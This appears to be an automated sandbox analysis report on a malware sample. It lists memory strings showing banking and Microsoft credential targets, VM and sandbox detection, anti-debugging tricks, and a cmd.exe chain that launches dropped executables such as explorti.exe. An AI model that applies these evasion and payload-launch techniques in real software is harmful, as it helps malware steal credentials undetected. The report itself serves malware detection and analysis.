Source: EBAEBFII.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Amcache.hve.15.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: EBAEBFII.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: EBAEBFII.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.15.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: EBAEBFII.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Amcache.hve.15.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.15.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1433619231.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: JDGCFBAFBF.exe, 00000011.00000002.1481376835.0000000001000000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 00000013.00000002.3712567033.0000000000BD0000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000017.00000002.2078852195.0000000000BD0000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000019.00000002.2683042568.0000000000BD0000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000001B.00000002.3284119133.0000000000BD0000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: EBAEBFII.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.15.dr	Binary or memory string: VMware
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: EBAEBFII.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: EBAEBFII.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: EBAEBFII.0.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: EBAEBFII.0.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Amcache.hve.15.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: EBAEBFII.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: EBAEBFII.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000013.00000002.3725431157.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: EBAEBFII.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: EBAEBFII.0.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.15.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: EBAEBFII.0.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: EBAEBFII.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: EBAEBFII.0.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.15.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.15.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.15.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: file.exe, 00000000.00000002.1436568097.0000000001B26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: EBAEBFII.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: EBAEBFII.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Amcache.hve.15.dr	Binary or memory string: VMware VMCI Bus Device
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: EBAEBFII.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: EBAEBFII.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.15.dr	Binary or memory string: vmci.syshbin
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: JDGCFBAFBF.exe, 00000011.00000003.1457618030.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.15.dr	Binary or memory string: VMware, Inc.
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Amcache.hve.15.dr	Binary or memory string: VMware20,1hbin@
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.15.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.15.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: EBAEBFII.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Amcache.hve.15.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: EBAEBFII.0.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: EBAEBFII.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Amcache.hve.15.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.15.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: EBAEBFII.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1433619231.0000000000B5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe

Code function: 17_2_04AC07E0 rdtsc

17_2_04AC07E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE05FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CE05FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CDA3480

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_00A1643B mov eax, dword ptr fs:[00000030h]		19_2_00A1643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_00A1A1A2 mov eax, dword ptr fs:[00000030h]		19_2_00A1A1A2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDDB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CDDB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDDB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CDDB1F7

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HIJJDGDHDG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe "C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDDB341 cpuid

0_2_6CDDB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDA35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CDA35A0

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 19_2_009E6590 LookupAccountNameA,

19_2_009E6590

Source: Amcache.hve.15.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
